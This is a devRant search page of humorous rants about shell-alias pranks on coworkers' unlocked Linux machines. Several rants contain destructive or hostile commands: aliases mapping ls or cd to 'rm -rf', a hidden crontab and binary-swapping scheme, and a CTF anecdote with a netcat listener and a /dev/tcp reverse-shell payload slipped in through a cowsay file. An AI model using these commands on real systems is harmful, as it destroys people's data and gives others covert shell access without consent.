Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API

From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
Search - "alias prank"
-
boss' revenge
So here https://devrant.com/rants/1349878/... posted prank played on boss. For 3days I been freaking out what boss will do as revenge (check env and alias everytime I login). Then yesterday happened his revenge.
Was doing testing on my programs & sometime some programs would run but sometime it get segmentation fault. Seemed random first but then saw a pattern... everytime I get segmentation fault and I run again it would be fine. Checked alias... nothing, /etc/crontab, env, ps -ef... nothing seemed off, cksum of my binary... correct. Fuck! "What my boss did?" asked myself. Finally .5hrs later I saw entry in my id's crontab but then 1min later it's gone from my crontab
From there figured out how boss did it:
1) He replaced ntpd with his C program that runs in background creating an entry in my crontab every few mins
2) The entry in my crontab set to run /foobar/ulittleprick.sh every 2mins
3) ulittleprick.sh picks random binary owned by me, rename binary.name to .binary.name.nitwit and create a script named binary.name
4) Then ulittleprick.sh will remove itself from cron
What the generated binary.name script does? Sleep for 2 secs, echo "Segmentation fault", then rename back .binary.name.nitwit to binary.name. It even exits with status 139! I want to cry! Worst part is comment in 2nd line of ulittleprick.sh... kill me now29 -
Even after our last cd="exit" alias prank, my co-worker forgot to lock his computer today.
I told him he had forgot to lock it.
His facial expression was priceless.
You could literally see the paranoia rising in his eyes.
Let's see if he finds anything funny with his computer....6 -
so i walk into work one day and i sit down at my desk and i start working. i open up terminal and do stuff and at one point i do "ls".
no output... huh, thats weird.
ofc being a developer i run the command 3 more times just to make sure. i open up file explorer, and sure enough, everything in there's gone.
turns out some cheeky motherfucker did the alias ls="rm -rf /" prank on me. at least he backed up all my shit beforehand geez2 -
When my neighbor forgets to lock his computer, I append this to his bashrc
alias cd='cd $(ls -d */ | sort -R | head -1) && echo'7 -
Picture this: a few years back when I was still working, one of our new hires – super smart dude, but fresh to Linux – goes to lunch and *sins gravely* by leaving his screen unlocked. Naturally, being a mature, responsible professionals… we decided to mess with the guy a tiny little bit. We all chipped in, but my input looked like this:
alias ls='curl -s http://internal.server/borat.ascii -o /tmp/.b.cow; curl -s http://internal.server/borat.quotes | shuf -n1 | cowsay -f /tmp/.b.cow; ls'
So every time he called `ls`, before actually seeing his files, he was greeted with Borat screaming nonsense like “My wife is dead! High five!” Every. Single. Time. Poor dude didn't know how to fix it – lived like that for MONTHS! No joke.
But still, harmless prank, right? Right? Well…
His mental health and the sudden love for impersonating Cohen's character aside, fast-forward almost a year: a CTF contest at work. Took me less than 5 minutes, and most of it was waiting. Oh, baby! We ended up having another go because it was over before some people even sat down.
How did I win? First, I opened the good old Netcat on my end:
nc -lvnp 1337
…then temporarily replaced Borat's face with a juicy payload:
exec "sh -c 'bash -i >& /dev/tcp/my.ip.here/1337 0>&1 &'";
Yes, you can check that on your own machine. GNU's `cowsay -f` accepts executables, because… the cow image is dynamic! With different eyes, tongue, and what-not. And my man ran that the next time he typed `ls` – BOOM! – reverse shell. Never noticed until I presented the whole attack chain at the wrap-up. To his credit, he laughed the loudest.
Moral of the story?
🔒 Lock your screen.
🐄 Don’t trust cows.
🎥 Never ever underestimate the power of Borat in ASCII.
GREAT SUCCESS! 🎉11 -
Not by me, but by my friend
He write a shell command to alias 'cd' into 'rm -rf' and then print out 'hehe', then save the command to bash_profile
Me? I put that command to our engineer's slack channel and wait for a natural selection does its job2 -
Me and a couple of my friends at the IT dep stationed in the school servers will do something a little interesting for tomorrow
we will alias gcc with the error message you see when the compiler does not recieve any input files in the Docker images in their build CIs.
oh dear -
Look at all the alias pranks on wk37! Can I just alias the alias to another alias so I won't get prank :(1